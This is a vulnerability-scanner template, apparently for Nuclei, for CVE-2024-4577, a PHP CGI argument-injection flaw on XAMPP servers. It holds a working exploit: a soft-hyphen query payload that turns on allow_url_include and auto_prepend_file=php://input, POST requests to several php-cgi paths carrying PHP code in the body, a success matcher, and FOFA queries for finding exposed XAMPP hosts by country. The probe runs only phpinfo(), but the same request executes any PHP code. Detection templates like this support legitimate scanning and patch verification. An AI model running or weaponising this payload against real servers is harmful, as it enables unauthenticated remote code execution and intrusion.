CVE-2024-4577_2.yaml

id: CVE-2024-4577
info:
  name: PHP CGI Argument Injection (CVE-2024-4577) Remote Code Execution
  author: Ayu
  description: Allowing unauthenticated attackers to execute arbitrary code on remote XAMPP servers through specific character sequences(0xAD)
  reference:
    - https://blog.orange.tw/2024/06/cve-2024-4577-yet-another-php-rce.html
    - https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/
  severity: critical
  tags: cve, rce, php

  metadata:
    fofa-query:
      - 'app="XAMPP"'
      - 'app="XAMPP" && country=JP'
      - 'app="XAMPP" && country=CN'

variables:
  payload: "?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"

http:
  - method: POST
    path:
      - "{{BaseURL}}/index.php{{payload}}"
      - "{{BaseURL}}/unfxu9a.php{{payload}}"
      - "{{BaseURL}}/php-cgi/unfxu9a.php{{payload}}"
      - "{{BaseURL}}/cgi-bin/php-cgi.exe{{payload}}"
      - "{{BaseURL}}/php-cgi/php-cgi.exe{{payload}}"
      - "{{BaseURL}}/php-cgi/php.exe{{payload}}"
      - "{{BaseURL}}/cgi-bin/php.exe{{payload}}"
      
    headers:
      User-Agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 11.2; rv:122.0) Gecko/20000101 Firefox/122.0"
      Accept: "*/*"
      Content-Type: "application/x-www-form-urlencoded"
      Connection: "keep-alive"

    body: "<?php phpinfo(); ?>"
      
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "PHP Version")'
        condition: and